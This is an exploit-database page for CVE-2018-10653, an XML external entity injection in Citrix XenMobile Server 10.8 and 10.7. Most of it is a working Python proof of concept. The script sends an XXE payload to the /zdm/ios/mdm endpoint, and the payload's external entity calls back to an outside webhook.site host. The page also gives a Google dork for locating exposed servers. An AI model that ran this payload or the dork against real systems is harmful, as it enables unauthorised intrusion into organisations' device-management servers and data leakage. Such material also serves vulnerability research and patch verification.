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"Citrix XenMobile Server 10.8 - XML External Entity Injection"

Author

Exploit author

"Jonas Lejon"

Platform

Exploit platform

xml

Release date

Exploit published date

2020-01-22

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# Exploit Title: Citrix XenMobile Server 10.8 - XML External Entity Injection
# Google Dork: inurl:zdm logon
# Date: 2019-11-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.citrix.com
# Software Link:
# Version: XenMobile Server 10.8 before RP2 and 10.7 before RP3
# Tested on: XenMobile
# CVE : CVE-2018-10653

#!/usr/bin/python3
##
## PoC exploit test for the security vulnerability CVE-2018-10653 in
XenMobile Server 10.8 before RP2 and 10.7 before RP3
##
## This PoC was written by Jonas Lejon 2019-11-28
<jonas.xenmobile@triop.se> https://triop.se
## Reported to Citrix 2017-10, patch released 2018-05
##

import requests
import sys
from pprint import pprint
import uuid

# Surf to https://webhook.site and copy/paste the URL below. Used for
XXE callback
WEBHOOK = "https://webhook.site/310d8cd9-ebd3-xxx-xxxx-xxxxxx/"

id = str(uuid.uuid1())

xml = '''<?xml version="1.0" encoding="UTF-8"
standalone='no'?><!DOCTYPE plist [<!ENTITY % j00t9 SYSTEM "''' +
WEBHOOK + id + '''/test.dtd">%j00t9; ]>'''

print(id)

response = requests.put(sys.argv[1] + '/zdm/ios/mdm', verify=False,
 headers=
{'User-Agent': 'MDM/1.0',
'Connection': 'close',
'Content-Type': 'application/x-apple-aspen-mdm'},
data=xml,stream=True
)
print(response.content)
print(response.text)
pprint(response)
Release DateTitleTypePlatformAuthor
2020-01-22"Citrix XenMobile Server 10.8 - XML External Entity Injection"webappsxml"Jonas Lejon"
2018-08-29"Episerver 7 patch 4 - XML External Entity Injection"webappshardware"Jonas Lejon"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47951/?format=json')

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